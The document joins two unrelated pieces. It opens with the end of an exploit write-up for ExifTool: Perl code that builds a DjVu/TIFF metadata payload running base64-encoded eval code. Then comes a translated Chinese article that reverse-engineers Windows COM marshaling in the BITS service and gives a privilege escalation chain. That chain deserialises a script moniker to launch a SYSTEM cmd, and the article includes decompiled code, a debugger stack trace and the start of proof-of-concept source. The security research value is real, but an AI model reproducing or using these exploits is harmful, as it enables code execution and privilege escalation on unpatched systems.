* PDF - [lib/Image/ExifTool/PDF.pm#L2071-L2076](https://github.com/exiftool/exiftool/blob/12.23/lib/Image/ExifTool/PDF.pm#L2071-L2076 "lib/Image/ExifTool/PDF.pm#L2071-L2076")
如果一个PDF文件使用了`DCTDecode`或`JPXDecode`过滤器，那么`ExtractInfo`将被调用。
if ($filter eq '/DCTDecode' or $filter eq '/JPXDecode') {
DecodeStream($et, $dict) or last;
# save the image itself
$et->FoundTag($tagInfo, \$$dict{_stream});
# extract information from embedded image
$result = $et->ExtractInfo(\$$dict{_stream}, { ReEntry => 1 });
* AVI - [lib/Image/ExifTool/RIFF.pm#L497-L503](https://github.com/exiftool/exiftool/blob/12.23/lib/Image/ExifTool/RIFF.pm#L497-L503 "lib/Image/ExifTool/RIFF.pm#L497-L503")
EXIF标签将被作为tiff处理。ExifTool不支持向AVI写入，但AVI中用于对齐的一个`JUNK`标签可以直接用EXIF和tiff/exif有效载荷代替。
EXIF => [{ # (WebP)
Name => 'EXIF',
Condition => '$$valPt =~ /^(II\x2a\0|MM\0\x2a)/',
Notes => 'WebP files',
SubDirectory => {
TagTable => 'Image::ExifTool::Exif::Main',
ProcessProc => \&Image::ExifTool::ProcessTIFF,
* MOV/MP4 - [lib/Image/ExifTool/QuickTime.pm#L2128-L2132](https://github.com/exiftool/exiftool/blob/12.23/lib/Image/ExifTool/QuickTime.pm#L2128-L2132 "lib/Image/ExifTool/QuickTime.pm#L2128-L2132")
`UserData`标签`RMKN`将被处理为tiff，然后将其exif数据进行解析。
RMKN => { #PH (GR)
Name => 'RicohRMKN',
SubDirectory => {
TagTable => 'Image::ExifTool::Exif::Main',
ProcessProc => \&Image::ExifTool::ProcessTIFF, # (because ProcessMOV is default)
之前的配置文件可以被修改，以增加对该标签的写入支持:
use MIME::Base64;
sub GetDjVu {
my ($val) = @_;
$encoded = encode_base64($val);
my $meta = qq/(metadata(Copyright "\\\n" eq ''; return (eval { use MIME::Base64; eval(decode_base64(q%$encoded%)); });#"))/;
my $len = pack "N", length($meta);
my $payload = qq/AT&TFORM\x00\x00\x00\x08DJVUANTa$len$meta/;
return $payload;
}
sub GetTiff {
my ($val) = @_;
my $payload = GetDjVu($val);
my $len = pack "N", length($payload) + 1;
my $tif =
"MM\x00*\x00\x00\x00\x08\x00\x05\x01\x1a\x00\x05\x00\x00\x00\x01\x00\x00\x00J\x01\x1b\x00\x05\x00\x00\x00\x01\x00" .
"\x00\x00R\x01(\x00\x03\x00\x00\x00\x01\x00\x03\x00\x00\x02\x13\x00\x03\x00\x00\x00\x01\x00\x01\x00\x00\xc5\x1b\x00\x07" .
"$len\x00\x00\x00Z\x00\x00\x00\x00\x00\x00\x00%\x00\x00\x00\x01\x00\x00\x00%\x00\x00\x00\x01" .
"$payload\x00";
return $tif;
}
%Image::ExifTool::UserDefined = (
'Image::ExifTool::Exif::Main' => {
0xc51b => {
Name => 'eval',
Binary => 1,
Writable => 'undef',
WriteGroup => 'IFD0',
ValueConvInv => sub {
return GetDjVu(shift);
}
}
},
'Image::ExifTool::QuickTime::UserData' => {
'RMKN' => {
Name => 'eval',
Binary => 1,
Writable => 'undef',
ValueConvInv => sub {
return GetTiff(shift);
}
}
}
) | 社区文章 |
# 又一种新的btis服务com组件漏洞利用方式，成功提权至system
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 分析过程
poc说明：可在未打微软2018年6月份安全补丁的win7x64,server2008r2x64运行，支持webshell模式，支持任意用户运行,运行后获得一个system权限的cmd，提供poc源码和编译后的exe。我的poc仅供研究目的，如果读者利用本poc从事其他行为，与本人无关。
> 前段部分介绍com组件的marshal原理有com基础的可以略过
在windows下有个以system权限运行的Background Intelligent Transfer
Service服务(简称bits)，调用bits服务的公开api中的IBackgroundCopyJob->SetNotifyInterface接口，我的利用方式是在poc中创建的类[CMarshaller]，也就是SetNotifyInterface接口的参数Interface(远程com对象)，因为这个类继承了IMarshal接口，bits为了获得这个Interface，bits最终会Unmarshal通过调用CoUnmarshalInterface
先看CoUnmarshalInterface逆向结果:
HRESULT __stdcall CoUnmarshalInterface(LPSTREAM pStm, const IID *const riid, IUnknown *ppv)
{
HRESULT result; // eax
CStdIdentity *hrTemp; // edi
IUnknown *v5; // esi
tagOBJREF objref; // [esp+14h] [ebp-5Ch]
if ( !pStm || !ppv )
return -2147024809;
ppv->vfptr = 0;
//先检查marshaler的Channe是不是建立
result = InitChannelIfNecessary();
if ( result >= 0 )
{
hrTemp = (CStdIdentity *)ReadObjRef(pStm, &objref);
if ( (signed int)hrTemp >= 0 )
{
//先获取用来UnmarshalInterface的com对象(Unmarshaler),这里我使用的是自定义CustomUnmarshaler
JUMPOUT(objref.flags & 4, 0, &CallGetCustomUnmarshaler);
// 这里传进去bypass还是0,根据之前CallGetCustomUnmarshaler获得的Unmarshaler
hrTemp = UnmarshalObjRef(&objref, (void **)&ppv->vfptr, 0, 0);
FreeObjRef(&objref);
if ( !InlineIsEqualGUID((_GUID *)riid, &GUID_NULL)
//objref中就包含当前要Unmarshale的UnmarshalClassID=objref.iid
&& !InlineIsEqualGUID((_GUID *)riid, &objref.iid)
&& (signed int)hrTemp >= 0 )
{
v5 = (IUnknown *)ppv->vfptr;
hrTemp = (CStdIdentity *)(*ppv->vfptr->QueryInterface)(ppv->vfptr, riid, ppv);
((void (__stdcall *)(IUnknown *))v5->vfptr->Release)(v5);
}
}
result = (HRESULT)hrTemp;
}
return result;
}
如果调用远程com对象QueryInterface得到他支持IMarshal接口,也就是返回HRESULT=S_OK后
首先调用IMarshal接口GetUnmarshalClass方法获取类的
UnmarshalClassID，看看是不是几种ole32自带的UnmarshalClassID如果不是根据UnmarshalClassID调用CoCreateInstance创建对应的com对象来unmarshal，这个com对象必须支持IMarshal接口，然后调用这个com对象的UnmarshalInterface方法；
我的POC返回[CLSID_QCMarshalInterceptor]，也就是CMarshalInterceptor类的CLSID，这是bits服务会在自己进程创建中[CMarshalInterceptor]对应的实例，并用这个实例来UnmarshalInterface根据Stream中的数据包
HRESULT __stdcall GetCustomUnmarshaler(_GUID *rclsid, IStream *pStm, IMarshal **ppIM)
{
if ( InlineIsEqualGUID(&CLSID_StdWrapper, rclsid) || InlineIsEqualGUID(&CLSID_StdWrapperNoHeader, rclsid) )
return GetStaticWrapper(ppIM);
JUMPOUT(InlineIsEqualGUID(&CLSID_InProcFreeMarshaler, rclsid), 0, &loc_725CF958);
if ( InlineIsEqualGUID(&CLSID_ContextMarshaler, rclsid) )
return GetStaticContextUnmarshal(ppIM);
if ( InlineIsEqualGUID(&CLSID_AggStdMarshal, rclsid) )
return FindAggStdMarshal(pStm, ppIM);
//如果是自定义Unmarshal创建实例来UnmarshalInterface根据Stream中的数据包
return CoCreateInstance(rclsid, 0, (gCapabilities & 0x2000 | 0x806) >> 1, &IID_IMarshal, (LPVOID *)ppIM);
}
默认以标准marshal方式，Com组件默认的标准Marshal的就是CStdIdentity继承的类CStdMarshal来Unmarshal，获得的UnmarshalCLSID是CLSID_StdMarshal或CLSID_StdWrapperNoHeader或CLSID_AggStdMarshal
HRESULT __stdcall CStdMarshal::GetUnmarshalClass(CStdMarshal *this, _GUID *riid, void *pv, unsigned int dwDestCtx, void *pvDestCtx, unsigned int mshlflags, _GUID *pClsid)
{
GUID *v7; // esi
unsigned __int16 *v8; // esi
//MSHCTX_INPROC =3进程内marshal 或 MSHCTX_CROSSCTX =4同进程不同套间(CObjectContext不同)模式,不支持标准marshal
if ( ~(unsigned __int8)this->_dwFlags & 1 && dwDestCtx == 4 && !(mshlflags & 2)
|| ~(unsigned __int8)this->_dwFlags & 1 && dwDestCtx == 3 && IsThreadInNTA() && !(mshlflags & 2) )
{
v7 = &CLSID_StdWrapperNoHeader;
}
else
{
//这2种都是标准marshal
//第一种聚合marshal
v7 = &CLSID_AggStdMarshal;
if ( !(this->_dwFlags & 0x1000) )
//第二种聚合的标准marshal
v7 = &CLSID_StdMarshal;
}
pClsid->Data1 = v7->Data1;
v8 = &v7->Data2;
*(_DWORD *)&pClsid->Data2 = *(_DWORD *)v8;
v8 += 2;
*(_DWORD *)pClsid->Data4 = *(_DWORD *)v8;
*(_DWORD *)&pClsid->Data4[4] = *((_DWORD *)v8 + 1);
return 0;
}
//UnmarshalObjRef是CStdIdentity继承的类CStdMarshal的也就是默认的标准Unmarshal方式
CStdIdentity *__stdcall UnmarshalObjRef(tagOBJREF *objref, void **ppv, int fBypassActLock, CStdMarshal **ppStdMarshal)
{
HRESULT hrTemp; // eax
CObjectContext *canCallServerCtx; // eax
tagOBJREF *objrefTemp; // edi
CStdIdentity *hrFinal; // esi
CStdMarshal *CStdMarshalRef; // esi
CStdIdentity *stdity; // eax
void **ppvRef; // edi
tagStdUnmarshalData StdData; // [esp+Ch] [ebp-1Ch]
int fLightNAProxy; // [esp+24h] [ebp-4h]
objrefTemp = objref;
// fLightNAProxy=1就是crossctx,0就是sameapt
fLightNAProxy = CrossAptRefToNA(objref);
hrFinal = FindStdMarshal(objrefTemp, 0, (CStdMarshal **)&objref, fLightNAProxy);
if ( (signed int)hrFinal < 0 )
{
// cPublicRefs引用如果大于0,就减少引用
if ( objrefTemp->u_objref.u_standard.std.cPublicRefs )
ReleaseMarshalObjRef(objrefTemp);
}
else
{
CStdMarshalRef = (CStdMarshal *)objref;
stdity = *(CStdIdentity **)objref->iid.Data4;
StdData.pobjref = objrefTemp;
ppvRef = ppv;
StdData.pStdID = stdity;
StdData.ppv = ppv;
StdData.pClientCtx = GetCurrentContext();
if ( ppStdMarshal )
{
*ppStdMarshal = CStdMarshalRef;
CStdMarshalRef->_selfMyMarshal._SelfMarshalVtbl->AddRef((IUnknown *)CStdMarshalRef);
}
// 里面是判断crossctx,里面ctx是不是不同
canCallServerCtx = CStdMarshal::ServerObjectCallable(CStdMarshalRef);
if ( canCallServerCtx )
{
//创建CStdWrapper包装自己
StdData.fCreateWrapper = ppvRef != 0;
// CStdMarshal::UnmarshalObjRef调用类型不同CStdMarshal模式中fBypassActLock为0就是false,传入的默认就是0
if ( fBypassActLock )
hrTemp = PerformCallback(
canCallServerCtx,
(HRESULT (__stdcall *)(void *))UnmarshalSwitch,
&StdData,
&IID_IEnterActivityWithNoLock,
2u,
0);
else
hrTemp = PerformCallback(
canCallServerCtx,
(HRESULT (__stdcall *)(void *))UnmarshalSwitch,
&StdData,
&IID_IMarshal,
6u,
0);
}
else
{
StdData.fCreateWrapper = fLightNAProxy;
// 最终都是调用CStdMarshal::UnmarshalObjRef
hrTemp = UnmarshalSwitch(&StdData);
}
hrFinal = (CStdIdentity *)hrTemp;
}
return hrFinal;
}
> 后段部分介绍导致poc结果执行的真正原因:
下面看下CMarshalInterceptor::UnmarshalInterface的逆向结果，首先判断数据包头和CLSID也就是CLSID_QCMarshalInterceptor
我做的结构UnmarshalInterface需要读出的头结构
struct MarshalInterceptorHeader
{
__int16 headersig;
__int16 headData;
__int32 headData2;
__int32 headData3;
IID *BuffIID;
};
union CutomMarshalInterceptorHeader
{
MarshalInterceptorHeader my_Head;
_GUID GUID_Head;
};
逆向结果代码：
HRESULT __userpurge CMarshalInterceptor::UnmarshalInterface( CMarshalInterceptor *this, LPSTREAM pStm, const struct _GUID *clsidFrom, void **ppv)
{
HRESULT result; // eax
int v6; // esi
int v8; // [esp+4h] [ebp-50h]
__int16 v9; // [esp+8h] [ebp-4Ch] MAPDST
int v10; // [esp+Ch] [ebp-48h]
const wchar_t *v11; // [esp+10h] [ebp-44h]
IID *v12; // [esp+14h] [ebp-40h]
int v13; // [esp+18h] [ebp-3Ch]
int v14; // [esp+1Ch] [ebp-38h]
int v15; // [esp+20h] [ebp-34h]
IPersistStream *IPersistStreamPPvRet; // [esp+2Ch] [ebp-28h]
CutomMarshalInterceptorHeader Header_Clsid; // [esp+30h] [ebp-24h]
*ppv = 0;
if ( !pStm )
return -2147024809;
Header_Clsid.my_Head.headersig = 0;
//先把第1个字节设为0
Header_Clsid.my_Head.headersig = 0;
memset(&Header_Clsid.my_Head.headData, 0, 0x1Cu);
v9 = 0;
//再读取12+16=26到Header_Clsid,前12位为sighead,后16位为CLSID=BuffIID
result = CMkUtil::Read(pStm, &Header_Clsid, 0x20u);
if ( result >= 0 )
{
if ( Header_Clsid.my_Head.headersig )
{
v14 = 0;
v9 = 37;
v11 = L"Version";
v8 = -2147467259;
v10 = -1073605911;
v12 = (IID *)&Header_Clsid;
v13 = 32;
v15 = 1;
//失败记录日志
CError::WriteToLog(
(CError *)&v8,
L"d:\w7rtm\com\complus\src\comsvcs\qc\marshalinterceptor\marshalinterceptor.cpp",
0x247u,
L"Version");
result = -2147467259;
}
//比较BuffIID和CLSID_QCMarshalInterceptor是否相同,如果相同执行 CMarshalInterceptor::CreateRecorde
else if ( !memcmp(&CLSID_QCMarshalInterceptor, &Header_Clsid.my_Head.BuffIID, 0x10u) )
{
result = CMarshalInterceptor::CreateRecorder(pStm, clsidFrom, ppv);
}
else
{
//如果不相同根据BuffIID创建IPersistStream实例
IPersistStreamPPvRet = 0;
result = CoCreateInstance(
(const IID *const )&Header_Clsid.my_Head.BuffIID,
0,
0x417u,
&IID_IPersistStream,
(LPVOID *)&IPersistStreamPPvRet);
if ( result >= 0 )
{
//调用IPersistStream实例Load方法,读取到最终结果UnmarshalInterface的ppv;
v6 = ((int (__stdcall *)(IPersistStream *, LPSTREAM, void **))IPersistStreamPPvRet->_SelfMarshalVtbl->Load)(
IPersistStreamPPvRet,
pStm,
ppvref);
if ( v6 >= 0 )
//看看读出的ppv是否支持UnmarshalInterface传入的clsid
v6 = IPersistStreamPPvRet->_SelfMarshalVtbl->QueryInterface(
(IUnknown *)IPersistStreamPPvRet,
clsidFrom,
(IUnknown *)ppv);
((void (__cdecl *)(IPersistStream *))IPersistStreamPPvRet->_SelfMarshalVtbl->Release)(IPersistStreamPPvRet);
result = v6;
}
}
}
return result;
}
如果之前比较相同调用CMarshalInterceptor::CreateRecorder里面根据
CVE-2018-0824原理反序列化出一个Moniker,具体原因是看逆向结果是:
HRESULT __stdcall CMarshalInterceptor::CreateRecorder(LPSTREAM pStm, const struct _GUID *a2, IMoniker **ppvFinal)
{
HRESULT v3; // esi
int v4; // eax
const wchar_t *v5; // eax
unsigned int v7; // [esp-8h] [ebp-5Ch]
wchar_t *v8; // [esp-4h] [ebp-58h]
HRESULT v9; // [esp+14h] [ebp-40h]
__int16 v10; // [esp+18h] [ebp-3Ch]
int v11; // [esp+1Ch] [ebp-38h]
const wchar_t *v12; // [esp+20h] [ebp-34h]
int v13; // [esp+24h] [ebp-30h]
int v14; // [esp+28h] [ebp-2Ch]
int v15; // [esp+2Ch] [ebp-28h]
int v16; // [esp+30h] [ebp-24h]
LPSTREAM streamRef; // [esp+34h] [ebp-20h]
LPBC ppbc; // [esp+38h] [ebp-1Ch]
IMoniker *ppvMonikerRet; // [esp+3Ch] [ebp-18h]
CLSID pclsid; // [esp+40h] [ebp-14h]
*ppvFinal = 0;
pclsid.Data1 = 0;
*(_DWORD *)&pclsid.Data2 = 0;
*(_DWORD *)pclsid.Data4 = 0;
*(_DWORD *)&pclsid.Data4[4] = 0;
streamRef = pStm;
ppvMonikerRet = 0;
ppbc = 0;
//从流中读出Moniker的GUID(pclsid))
v3 = ReadClassStm(pStm, &pclsid);
if ( v3 >= 0 )
{
//判断是GUID是不是复合的Moniker(CompositeMoniker的GUID)),如果是加载复合moniker不是加载当前moniker
v4 = !memcmp(CLSID_CompositeMoniker, &pclsid, 0x10u) ? CMarshalInterceptor::LoadCompositeMoniker(
streamRef,
&ppvMonikerRet) : CMarshalInterceptor::LoadNonCompositeMoniker(
streamRef,
&pclsid,
(LPVOID *)&ppvMonikerRet);
v3 = v4;
if ( v4 >= 0 )
{
v3 = CreateBindCtx(0, &ppbc);
if ( v3 >= 0 )
{
读出moniker后并调用它的BindToObject方法,会启动moniker中的sct脚本
v3 = ppvMonikerRet->lpVtbl->BindToObject(ppvMonikerRet, ppbc, 0, a2, (void **)ppvFinal);
if ( v3 >= 0 )
goto LABEL_11;
v10 = 37;
v5 = L"BindToObject";
v8 = L"BindToObject";
v11 = -1073605911;
v7 = 832;
}
else
{
v10 = 37;
v5 = L"CreateBindCtx";
v8 = L"CreateBindCtx";
v11 = -1073606062;
v7 = 821;
}
v12 = v5;
v9 = v3;
v13 = 0;
v14 = 0;
v15 = 0;
v16 = 1;
//失败记录日志
CError::WriteToLog(
(CError *)&v9,
L"d:\w7rtm\com\complus\src\comsvcs\qc\marshalinterceptor\marshalinterceptor.cpp",
v7,
v8);
}
}
LABEL_11:
if ( ppvMonikerRet )
{
ppvMonikerRet->lpVtbl->Release(ppvMonikerRet);
ppvMonikerRet = 0;
}
if ( ppbc )
ppbc->lpVtbl->Release(ppbc);
return v3;
}
//如果是复合Moniker就直接从流中读出Moniker,需要读2次,原因具体看逆向结果
int __stdcall CMarshalInterceptor::LoadCompositeMoniker(LPSTREAM pStm, struct IMoniker **ppvMonikerRet)
{
struct IMoniker **v2; // esi
int result; // eax
v2 = a2;
*buff = 0;
buff = 0;
result = CMkUtil::Read(pStm, &buff, 4u);
if ( result >= 0 )
{
如果读出的buff是02再次调用自身函数从流中读出ppvMonikerRet,这也就是流中要先写入02的原因
if ( (unsigned int)buff >= 2 )
result = CMarshalInterceptor::LoadAndCompose(pStm, (unsigned int)buff, ppvMonikerRet);
else
result = -2147418113;
}
return result;
}
如果不是复合Moniker就调用LoadNonCompositeMoniker就是通过moniker的CLSID创建一个新的moniker，逆向结果
HRESULT __stdcall CMarshalInterceptor::LoadNonCompositeMoniker(struct IStream *a1, IID *rclsid, LPVOID *ppv)
{
HRESULT result; // eax
//调用CoCreateInstance创建一个新的monike
result = CoCreateInstance(rclsid, 0, 0x415u, &IID_IMoniker, ppv);
if ( result >= 0 )
result = (*(int (__stdcall **)(LPVOID, struct IStream *))(*(_DWORD *)*ppv + 20))(*ppv, a1);
return result;
}
由于最新6月补丁在CMarshalInterceptor::UnmarshalInterface加入了验证判断需要验证tls所以直接返回错误，如果有读者发现绕过方法可以联系我
if ( !*(_BYTE *)(*(_QWORD *)(__readgsqword(0x58u) + 8i64 * (unsigned int)tls_index) + 1i64) )
{
v8 = -2147024891;
v9 = L"PlayerUnmarshaling";
v21 = 0i64;
v22 = 0i64;
v10 = 567;
LABEL_21:
v17 = v8;
v19 = -1073605911;
v20 = v9;
v18 = 37;
v23 = 0;
v24 = 1;
CError::WriteToLog(
(CError *)&v17,
L"d:\w7rtm\com\complus\src\comsvcs\qc\marshalinterceptor\marshalinterceptor.cpp",
v10,
v9);
return v8;
}
> 调试poc:
> 成功在CMarshalInterceptor::UnmarshalInterface:断下
Breakpoint 0 hit
comsvcs!CMarshalInterceptor::UnmarshalInterface:
000007ff7c0cb420 48895c2408 mov qword ptr [rsp+8],rbx
ss:00000000011fe7d0=0000000000000000
windbg在scrobj模块加载时断下，截图
再次成功在kernel32!CreateProcessW:断下
0:003> g
Breakpoint 1 hit
kernel32!CreateProcessW:
查看栈回溯
00000000`78d405e0 e91b055587 jmp 00000000`00290b00
0:006> kb L100
RetAddr : Args to Child : Call Site
000007ff`2c07bfb4 : 00000000`00000000 000007ff`71f81982 00000d33`48538180 00000000`00000000 : kernel32!CreateProcessW
000007ff`2c07c463 : 00000000`00000000 00000000`0172d590 00000000`0172d590 00000000`0172d3d0 : wshom!CWshShell::CreateShortcut+0x310
000007ff`76881760 : 00000000`0172d5a8 00000000`008b2a4c 00000000`0024e078 00000000`00000000 : wshom!CWshShell::Exec+0x2b3
000007ff`76882582 : 000007ff`fffd4000 000007ff`76923a00 00000000`00000fff 000007ff`76882468 : OLEAUT32!DispCallFuncAmd64+0x60
000007ff`7688206a : 00000000`00250cb8 00000000`01ff5d28 00000000`00228570 00000000`00000000 : OLEAUT32!DispCallFunc+0x268
000007ff`2c0712c9 : 00000000`00a3f960 000007ff`768815cc 00000000`00211970 00000000`00000002 : OLEAUT32!CTypeInfo2::Invoke+0x3aa
000007ff`2c071211 : 000007ff`2c0711c4 00000000`00000208 00000000`00001f80 000007ff`756a26e8 : wshom!CDispatch::Invoke+0xad
00000000`0195860a : 00000000`00001f80 00000000`00010000 00000000`00000000 00000000`0172da10 : wshom!CWshEnvProcess::Invoke+0x4d
00000000`01959852 : 000007ff`fff40000 00000000`0172dac0 00000000`008aad50 00000000`0172e210 : jscript!VAR::InvokeByName+0x674
00000000`01959929 : 00000000`00000001 00000000`008aad50 00000000`00004000 00000000`008aad50 : jscript!VAR::InvokeDispName+0x72
00000000`019524b8 : 00000000`008add40 00000000`008b2bc2 00000000`0172eac0 00000000`00000001 : jscript!VAR::InvokeByDispID+0x1229
00000000`01958ec2 : 00000000`00000000 00000000`0172eac0 00000000`00000000 00000000`008ae710 : jscript!CScriptRuntime::Run+0x5a6
00000000`01958d2b : 00000000`008aa330 00000000`00000000 00000000`00000000 00000000`00000000 : jscript!ScrFncObj::CallWithFrameOnStack+0x162
00000000`01958b95 : 00000000`008aad50 00000000`008aad50 00000000`00000000 00000000`00a3f5a0 : jscript!ScrFncObj::Call+0xb7
00000000`0195e6b0 : 00000000`0008001f 00000000`00a3f5a0 00000000`008ad030 00000000`00000000 : jscript!CSession::Execute+0x19e
00000000`01951cb5 : 00000000`00000000 00000000`00a3f5a0 00000000`00000000 00000000`00000000 : jscript!COleScript::ExecutePendingScripts+0x17a
000007ff`30cc7186 : 00000000`008aa828 00000000`00000001 00000000`008ad030 00000000`4640f6a8 : jscript!COleScript::SetScriptState+0x61
000007ff`30cc7004 : 00000000`008ab3c0 00000000`008ab3c0 00000000`008a8160 00000000`008a8160 : scrobj!ComScriptlet::Inner::StartEngines+0xcf
000007ff`30cc6dc1 : 00000000`008aca40 00000000`008ab3c0 00000000`008a8160 00000000`00000000 : scrobj!ComScriptlet::Inner::Init+0x27a
000007ff`30cc6caa : 00000000`008a8160 00000000`00000000 00000000`00000000 00000000`00000000 : scrobj!ComScriptlet::New+0xca
000007ff`30cd1198 : 00000000`0172f440 00000000`01fc3580 00000000`00a3ef00 00000000`002574b8 : scrobj!ComScriptletConstructor::Create+0x68
000007ff`30cc1e33 : 00000000`0172f440 00000000`002535d0 00000000`00230d60 00000000`0172f440 : scrobj!ComScriptletFactory::CreateInstanceWithContext+0x240
000007ff`7a75f587 : 00000000`0172f320 000007ff`7a784060 00000000`0172f450 00000000`00000001 : scrobj!ComBuiltInFactory::CreateInstance+0x17
000007ff`7a623dbd : 00000000`0172f440 000007ff`7a788400 00000000`0172f440 000007ff`7a784030 : ole32!IClassFactory_CreateInstance_Stub+0x1b
000007ff`7febbb46 : 00000000`00000003 00000000`002535d0 000007ff`7a784048 00000000`00230d60 : ole32!IClassFactory_RemoteCreateInstance_Thunk+0x1d
000007ff`7fe10e76 : 00000000`00a3ef00 00000000`00000002 00000000`00a3f460 00000000`00000000 : RPCRT4!Ndr64StubWorker+0x761
000007ff`7a75d443 : 00000000`00000000 00000000`00000000 000007ff`7a791400 00000000`00208610 : RPCRT4!NdrStubCall3+0xb5
000007ff`7a75dcb9 : 00000000`00000001 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CStdStubBuffer_Invoke+0x5b
000007ff`7a75dc46 : 00000000`00230d60 00000000`011fe2b4 00000000`0022f950 000007ff`30ce7280 : ole32!SyncStubInvoke+0x5d
000007ff`7a61712f : 00000000`00230d60 00000000`00211970 00000000`002535d0 00000000`008ab250 : ole32!StubInvoke+0x185
000007ff`7a74fbf6 : 00000000`00000000 00000000`011fe2b4 00000000`01fadf50 00000000`002574b8 : ole32!CCtxComChnl::ContextInvoke+0x186
000007ff`7a62ea49 : 000007ff`7a76edd8 00000000`00000000 000007ff`7a7c3ca8 00000000`00205cc0 : ole32!MTAInvoke+0x26
000007ff`7a75d85c : 00000000`00211970 00000000`00000000 00000000`01fadf50 00000000`00230cd0 : ole32!STAInvoke+0x96
000007ff`7a75db6f : 00000000`d0908070 00000000`00211970 00000000`00000000 00000000`00214d00 : ole32!AppInvoke+0xe1
000007ff`7a75f872 : 00000000`00230cd0 00000000`00000400 00000000`00000000 00000000`00211d70 : ole32!ComInvokeWithLockAndIPID+0x4c1
000007ff`7a627059 : 00000000`00204288 00000000`00208610 00000000`00000000 00000000`00230cd0 : ole32!ComInvoke+0xae
000007ff`7a636d88 : 00000000`00211970 00000000`00230cd8 00000000`00000400 00000000`00000000 : ole32!ThreadDispatch+0x29
00000000`78c39bbd : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!ThreadWndProc+0x163
00000000`78c398c2 : 00000000`0172fe70 000007ff`7a626d68 000007ff`7a7bf7c0 00000000`00976fa0 : USER32!UserCallWinProcCheckWow+0x1ad
000007ff`7a626d0a : 00000000`000400ba 00000000`000400ba 000007ff`7a626d68 00000000`00000000 : USER32!DispatchMessageWorker+0x3b5
000007ff`7a74f5a7 : 00000000`00211970 00000000`00000000 00000000`00211970 000007ff`7a610c74 : ole32!CDllHost::STAWorkerLoop+0x68
000007ff`7a60380e : 00000000`00211970 00000000`00205540 00000000`00000000 00000000`00000000 : ole32!CDllHost::WorkerThread+0xd7
000007ff`7a5ff65a : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CRpcThread::WorkerLoop+0x1e
00000000`78d359cd : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ole32!CRpcThreadCache::RpcWorkerThreadEntry+0x1a
00000000`78e7a561 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : kernel32!BaseThreadInitThunk+0xd
00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x1d
最后触发最终结果的原因是 v3 = ppvMonikerRet->lpVtbl->BindToObject(ppvMonikerRet, ppbc, 0,
a2, (void **)ppvFinal);
这个ppvMonikerRet就是我poc中创建的Moniker,它有一个Displayname,也就是我poc生成的sct文件,即script:xxx.sct,bits然后调用它的BindToObject方法会加载windows中scrobj.dll生成scriptmoniker并执行sct脚本,最终以bits自身权限启动一个cmd,如图,
> 我的poc源码:
//myguid
GUID IID_Imytestcom = { 0xE80A6EC1, 0x39FB, 0x462A, { 0xA5, 0x6C, 0x41, 0x1E, 0xE9, 0xFC, 0x1A, 0xEB } };
GUID IID_ITMediaControl = { 0xc445dde8, 0x5199, 0x4bc7, { 0x98, 0x07, 0x5f, 0xfb, 0x92, 0xe4, 0x2e, 0x09 } };
//ole32guid
GUID CLSID_AggStdMarshal2 = { 0x00000027, 0x0000, 0x0008, { 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
GUID CLSID_FreeThreadedMarshaller = { 0x0000033A, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
GUID CLSID_StubMYTestCom = { 0x00020424, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, } };
GUID IID_IStdIdentity = { 0x0000001b, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
GUID IID_IMarshalOptions = { 0X4C1E39E1, 0xE3E3, 0x4296, { 0xAA, 0x86, 0xEC, 0x93, 0x8D, 0x89, 0x6E, 0x92 } };
GUID CLSID_DfMarshal = { 0x0000030B, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
GUID IID_IStdFreeMarshal = { 0x000001d0, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
//GUID IID_IStdMarshalInfo = { 0x00000018, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46,} };
//GUID IID_IExternalConnection = { 0x00000019, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46,} };
//GUID IID_IStdFreeMarshal = { 0x000001d0, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
//GUID IID_IProxyManager = { 0x00000008, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
GUID CLSID_StdWrapper = { 0x00000336, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
GUID CLSID_StdWrapperNoHeader = { 0x00000350, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 } };
GUID IID_IObjContext = { 0x051372ae0, 0xcae7, 0x11cf, { 0xbe, 0x81, 0x00, 0xaa, 0x00, 0xa2, 0xfa, 0x25 } };
//program
static bstr_t IIDToBSTR(REFIID riid)
{
LPOLESTR str;
bstr_t ret = "Unknown";
if (SUCCEEDED(StringFromIID(riid, &str)))
{
ret = str;
CoTaskMemFree(str);
}
return ret;
}
typedef HRESULT(__stdcall *CoCreateObjectInContext)(IUnknown *pServer, IUnknown *pCtx, _GUID *riid, void **ppv);
typedef HRESULT(__stdcall *CreateProxyFromTypeInfo)(ITypeInfo* pTypeInfo, IUnknown* pUnkOuter, REFIID riid, IRpcProxyBuffer** ppProxy, void** ppv);
typedef HRESULT(__stdcall *CreateStubFromTypeInfo)(ITypeInfo* pTypeInfo, REFIID riid, IUnknown* pUnkServer, IRpcStubBuffer** ppStub);
DEFINE_GUID(IID_ISecurityCallContext, 0xcafc823e, 0xb441, 0x11d1, 0xb8, 0x2b, 0x00, 0x00, 0xf8, 0x75, 0x7e, 0x2a);
